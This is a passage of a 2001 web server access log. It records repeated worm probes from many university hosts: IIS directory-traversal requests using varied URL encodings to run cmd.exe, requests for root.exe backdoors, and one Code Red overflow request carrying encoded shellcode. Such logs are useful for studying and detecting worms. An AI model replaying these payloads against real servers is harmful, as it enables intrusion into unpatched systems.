  10830. 20010919 12:17:52: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10831. 20010919 12:17:52: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10832. 20010919 12:17:52: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10833. 20010919 12:17:52: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10834. 20010919 12:20:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10835. 20010919 12:20:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10836. 20010919 12:20:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10837. 20010919 12:20:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10838. 20010919 12:20:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10839. 20010919 12:20:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10840. 20010919 12:20:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10841. 20010919 12:20:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10842. 20010919 12:20:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10843. 20010919 12:20:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10844. 20010919 12:20:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10845. 20010919 12:20:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10846. 20010919 12:20:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10847. 20010919 12:20:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10848. 20010919 12:20:39: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10849. 20010919 12:20:40:  [128.146.185.193] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  10850. 20010919 12:23:07:  [128.242.227.117] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10851. 20010919 12:23:36: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10852. 20010919 12:23:36: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10853. 20010919 12:23:37:  [128.242.227.117] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10854. 20010919 12:23:55: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10855. 20010919 12:23:55:  [128.242.227.117] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10856. 20010919 12:24:13: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10857. 20010919 12:24:13:  [128.242.227.117] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10858. 20010919 12:24:32: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10859. 20010919 12:24:33:  [128.242.227.117] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10860. 20010919 12:24:51: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10861. 20010919 12:24:51:  [128.242.227.117] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10862. 20010919 12:25:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10863. 20010919 12:25:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10864. 20010919 12:25:10:  [128.242.227.117] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10865. 20010919 12:25:29: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10866. 20010919 12:25:29:  [128.242.227.117] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10867. 20010919 12:25:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10868. 20010919 12:25:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10869. 20010919 12:25:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10870. 20010919 12:25:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10871. 20010919 12:25:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10872. 20010919 12:25:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10873. 20010919 12:25:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10874. 20010919 12:25:48: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10875. 20010919 12:29:23: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10876. 20010919 12:29:23: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10877. 20010919 12:29:23: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10878. 20010919 12:29:23: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10879. 20010919 12:29:23: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10880. 20010919 12:29:23: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10881. 20010919 12:29:24: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10882. 20010919 12:29:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10883. 20010919 12:29:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10884. 20010919 12:29:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10885. 20010919 12:29:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10886. 20010919 12:29:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10887. 20010919 12:29:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10888. 20010919 12:29:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10889. 20010919 12:29:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10890. 20010919 12:29:25: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10891. 20010919 12:38:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10892. 20010919 12:38:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10893. 20010919 12:38:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10894. 20010919 12:38:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10895. 20010919 12:38:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10896. 20010919 12:38:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10897. 20010919 12:38:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10898. 20010919 12:38:33: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10899. 20010919 12:38:33: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10900. 20010919 12:38:33: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10901. 20010919 12:38:33: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10902. 20010919 12:38:33: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10903. 20010919 12:38:33: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10904. 20010919 12:38:33: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10905. 20010919 12:38:33: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10906. 20010919 12:57:53: dhcp-46-108.CS.Berkeley.EDU [128.32.46.108] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10907. 20010919 13:00:48: dhcp-46-108.CS.Berkeley.EDU [128.32.46.108] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10908. 20010919 13:00:48: dhcp-46-108.CS.Berkeley.EDU [128.32.46.108] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10909. 20010919 13:00:48: dhcp-46-108.CS.Berkeley.EDU [128.32.46.108] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10910. 20010919 13:00:49: dhcp-46-108.CS.Berkeley.EDU [128.32.46.108] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10911. 20010919 13:00:49: dhcp-46-108.CS.Berkeley.EDU [128.32.46.108] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10912. 20010919 13:00:49: dhcp-46-108.CS.Berkeley.EDU [128.32.46.108] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10913. 20010919 13:00:49: dhcp-46-108.CS.Berkeley.EDU [128.32.46.108] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10914. 20010919 13:00:50: dhcp-46-108.CS.Berkeley.EDU [128.32.46.108] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10915. 20010919 13:00:50: dhcp-46-108.CS.Berkeley.EDU [128.32.46.108] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10916. 20010919 13:00:50: dhcp-46-108.CS.Berkeley.EDU [128.32.46.108] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10917. 20010919 13:00:50: dhcp-46-108.CS.Berkeley.EDU [128.32.46.108] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10918. 20010919 13:00:51: dhcp-46-108.CS.Berkeley.EDU [128.32.46.108] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10919. 20010919 13:00:51: dhcp-46-108.CS.Berkeley.EDU [128.32.46.108] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10920. 20010919 13:00:51: dhcp-46-108.CS.Berkeley.EDU [128.32.46.108] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10921. 20010919 13:00:51: dhcp-46-108.CS.Berkeley.EDU [128.32.46.108] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10922. 20010919 13:00:52: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10923. 20010919 13:02:22: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10924. 20010919 13:02:22: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10925. 20010919 13:02:22: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10926. 20010919 13:02:22: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10927. 20010919 13:02:22: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10928. 20010919 13:02:22: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10929. 20010919 13:02:23: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10930. 20010919 13:02:23: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10931. 20010919 13:02:23: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10932. 20010919 13:02:23: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10933. 20010919 13:02:23: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10934. 20010919 13:02:23: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10935. 20010919 13:02:24: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10936. 20010919 13:02:24: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10937. 20010919 13:02:24: bus84-225.gsb.columbia.edu [128.59.84.225] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10938. 20010919 13:02:24: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10939. 20010919 13:03:40: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10940. 20010919 13:03:40: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10941. 20010919 13:03:40: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10942. 20010919 13:03:40: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10943. 20010919 13:03:40: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10944. 20010919 13:03:40: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10945. 20010919 13:03:40: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10946. 20010919 13:03:40: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10947. 20010919 13:03:40: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10948. 20010919 13:03:40: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10949. 20010919 13:03:40: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10950. 20010919 13:03:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10951. 20010919 13:03:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10952. 20010919 13:03:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10953. 20010919 13:03:41: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10954. 20010919 13:03:41: www.hrg-lab.wbmei.jhu.edu [128.220.135.19] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10955. 20010919 13:03:48: www.hrg-lab.wbmei.jhu.edu [128.220.135.19] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10956. 20010919 13:03:48: www.hrg-lab.wbmei.jhu.edu [128.220.135.19] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10957. 20010919 13:03:48: www.hrg-lab.wbmei.jhu.edu [128.220.135.19] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10958. 20010919 13:03:48: www.hrg-lab.wbmei.jhu.edu [128.220.135.19] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10959. 20010919 13:03:48: www.hrg-lab.wbmei.jhu.edu [128.220.135.19] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10960. 20010919 13:03:49: www.hrg-lab.wbmei.jhu.edu [128.220.135.19] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10961. 20010919 13:03:49: www.hrg-lab.wbmei.jhu.edu [128.220.135.19] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10962. 20010919 13:03:49: www.hrg-lab.wbmei.jhu.edu [128.220.135.19] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10963. 20010919 13:03:49: www.hrg-lab.wbmei.jhu.edu [128.220.135.19] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10964. 20010919 13:03:49: www.hrg-lab.wbmei.jhu.edu [128.220.135.19] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10965. 20010919 13:03:49: www.hrg-lab.wbmei.jhu.edu [128.220.135.19] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10966. 20010919 13:03:49: www.hrg-lab.wbmei.jhu.edu [128.220.135.19] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10967. 20010919 13:03:49: www.hrg-lab.wbmei.jhu.edu [128.220.135.19] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10968. 20010919 13:03:49: www.hrg-lab.wbmei.jhu.edu [128.220.135.19] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10969. 20010919 13:03:49: www.hrg-lab.wbmei.jhu.edu [128.220.135.19] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10970. 20010919 13:03:50: sgrm318.grm.hia.no [128.39.203.62] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10971. 20010919 13:07:25: sgrm318.grm.hia.no [128.39.203.62] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10972. 20010919 13:07:26: sgrm318.grm.hia.no [128.39.203.62] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10973. 20010919 13:07:26: sgrm318.grm.hia.no [128.39.203.62] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10974. 20010919 13:07:27: sgrm318.grm.hia.no [128.39.203.62] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10975. 20010919 13:07:27: sgrm318.grm.hia.no [128.39.203.62] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10976. 20010919 13:07:27: sgrm318.grm.hia.no [128.39.203.62] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10977. 20010919 13:07:28: sgrm318.grm.hia.no [128.39.203.62] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10978. 20010919 13:07:28: sgrm318.grm.hia.no [128.39.203.62] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10979. 20010919 13:07:29: sgrm318.grm.hia.no [128.39.203.62] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10980. 20010919 13:07:30: sgrm318.grm.hia.no [128.39.203.62] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10981. 20010919 13:07:30: sgrm318.grm.hia.no [128.39.203.62] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10982. 20010919 13:07:31: sgrm318.grm.hia.no [128.39.203.62] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10983. 20010919 13:07:31: sgrm318.grm.hia.no [128.39.203.62] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10984. 20010919 13:07:32: sgrm318.grm.hia.no [128.39.203.62] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10985. 20010919 13:07:32: sgrm318.grm.hia.no [128.39.203.62] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10986. 20010919 13:07:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  10987. 20010919 13:13:08: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  10988. 20010919 13:13:08: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10989. 20010919 13:13:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10990. 20010919 13:13:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10991. 20010919 13:13:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10992. 20010919 13:13:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10993. 20010919 13:13:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10994. 20010919 13:13:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10995. 20010919 13:13:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10996. 20010919 13:13:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10997. 20010919 13:13:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10998. 20010919 13:13:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10999. 20010919 13:13:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11000. 20010919 13:13:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11001. 20010919 13:13:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  11002. 20010919 13:13:10: noyce.EECS.Berkeley.EDU [128.32.62.23] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  11003. 20010919 13:16:38: noyce.EECS.Berkeley.EDU [128.32.62.23] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
